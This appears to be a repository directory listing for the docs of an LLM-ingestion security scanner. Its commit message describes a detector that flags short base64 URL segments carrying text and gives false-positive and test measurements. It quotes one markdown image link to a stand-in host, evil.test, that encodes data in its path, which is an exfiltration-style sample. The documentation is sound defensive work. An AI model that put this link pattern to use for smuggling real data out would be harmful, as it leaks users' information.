1
0
Fork 0
llm-ingestion-pipeline-secu.../docs
Kjell Tore Guttormsen 7430d7855a
feat(active): grade a short URL token that base64-decodes to text as carrying
Gap 6 closed. _is_opaque has a fourth branch for host labels and path
segments of 8-19 chars (calibration.URL_SHORT_B64_MIN_LEN). It fires when
the token is alphanumeric, not 1 mod 4, not itself a word, and its base64
plaintext reads as text: only letters, digits, space and . , : @ _ - + / !
? ' =, at least 80% letters/digits/spaces (URL_SHORT_B64_TEXT_SHARE), and
no lowercase-to-uppercase seam. ![x](https://evil.test/aGVsbG8gd29ybGQ)
is now HIGH; a link with it MEDIUM.

"Printable" alone fired on Pygments, a Norwegian path word and a JSON size
parameter. Each condition removes a measured twin (Pygments, aktuelle,
Slovenly, {"w":200}, PT00M01S, endsWith). Measured before building, with
the shipped tokenizer: 0 of 22,725 URLs in the 3,583 clean documents and
577 package READMEs, 0 of 530,625 dictionary words, 9 of 336,122
identifiers and prose tokens (all real base64 of text). Recall 32 of 35.

Measured before and after on the same trees: all 4,160 documents are
byte-identical under both presets (disposition, labels, severity, count,
offset); OKF import stays 47/31; positive control WARN -> FAIL_SECURE.
is_ordinary_url about 4 us slower per URL; 1M-char worst case unchanged.

26 new tests (attacks red first), 11 of 11 mutations red. Matrix 147/147 +
4/4 gaps, suite 1300 passed, ReDoS sweep 173 patterns, 0 flags on the new.
2026-11-01 20:23:23 +01:00
..
threat-2026 chore(watch): re-run the edition watch before 1.10.0 2026-11-01 17:07:50 +01:00
2026-09-07-limitations-44-maaling.md docs(okf): measure the tags/description gap against the pinned SPEC and corpus 2026-09-06 23:58:02 +02:00
ADOPTION-BRIEF.md feat(active): grade a short URL token that base64-decodes to text as carrying 2026-11-01 20:23:23 +01:00
BRIEF.md chore(release): 1.10.0 2026-11-01 18:55:08 +01:00
catalog-census.py fix(owasp): qualify every catalog number with the 2026 edition 2026-10-31 14:20:35 +01:00
fp-sweep.py measure(fp): the upload door costs a human on 16-53% of benign documents 2026-08-10 21:32:56 +02:00
gap-sweep.py docs(plan): measure which watch probe answers each catalog and freeze the seven gaps 2026-11-01 11:33:52 +01:00
GATE-G-v1.md docs(gate): the surface claim covers okf too, and one branch of D4 is already a defect 2026-08-13 22:07:18 +02:00
LIMITATIONS.md feat(active): grade a short URL token that base64-decodes to text as carrying 2026-11-01 20:23:23 +01:00
OKF-INGESTION-BRIEF.md docs: version-sync + SECURITY/CONTRIBUTING + honest-limits (Session E) 2026-07-15 10:08:24 +02:00
PLAN-v1.md docs(plan): Session G landed, D4's rationale lives where the promise does, and the ninth surface was verified not bumped 2026-08-13 22:45:11 +02:00
PLAN.md feat(active): grade a short URL token that base64-decodes to text as carrying 2026-11-01 20:23:23 +01:00
rawhtml-census.py feat(active-content): raw HTML graded on carrier, and a tag naming no target is inert 2026-08-12 00:42:44 +02:00
redos-sweep.py feat(output): report an instruction in plain prose 2026-10-31 21:20:32 +01:00
review-2026-07.md docs: reframe novelty claim to composite write-time contract (review MAJOR #3) 2026-07-15 09:22:38 +02:00
URL-SHAPE.md feat(active): grade a short URL token that base64-decodes to text as carrying 2026-11-01 20:23:23 +01:00